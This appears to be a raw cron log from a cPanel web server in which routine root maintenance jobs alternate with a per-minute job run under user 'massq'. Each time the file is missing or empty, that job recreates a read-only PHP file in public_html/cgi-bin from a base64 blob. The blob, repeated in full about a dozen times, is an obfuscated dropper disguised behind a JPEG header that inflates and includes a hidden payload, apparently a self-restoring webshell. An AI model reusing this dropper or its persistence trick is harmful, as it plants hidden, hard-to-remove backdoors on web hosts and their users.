Sep 11 03:21:01 server CROND[5422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:22:01 server CROND[5877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:22:01 server CROND[5878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:22:01 server CROND[5879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:23:01 server CROND[6248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:23:01 server CROND[6249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:23:01 server CROND[6250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:24:01 server CROND[6610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:24:01 server CROND[6611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:24:01 server CROND[6612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:25:01 server CROND[6992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:25:01 server CROND[6993]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:25:01 server CROND[7003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:25:01 server CROND[7005]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:25:01 server CROND[7004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:25:01 server CROND[7008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:25:01 server CROND[7007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:26:01 server CROND[7834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:26:01 server CROND[7835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:26:01 server CROND[7836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:27:01 server CROND[8206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:27:01 server CROND[8208]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 03:27:01 server CROND[8209]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 11 03:27:01 server CROND[8210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:27:01 server CROND[8211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:28:01 server CROND[8678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:28:01 server CROND[8679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:28:01 server CROND[8680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:29:01 server CROND[9057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:29:01 server CROND[9058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:29:01 server CROND[9059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:30:01 server CROND[9429]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:30:01 server CROND[9431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:30:01 server CROND[9432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:30:01 server CROND[9438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:30:01 server CROND[9439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:30:01 server CROND[9437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:30:01 server CROND[9436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:30:01 server CROND[9440]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:31:01 server CROND[10326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:31:01 server CROND[10327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:31:01 server CROND[10325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:32:01 server CROND[10688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:32:01 server CROND[10689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:32:01 server CROND[10690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:33:01 server CROND[11157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:33:01 server CROND[11158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
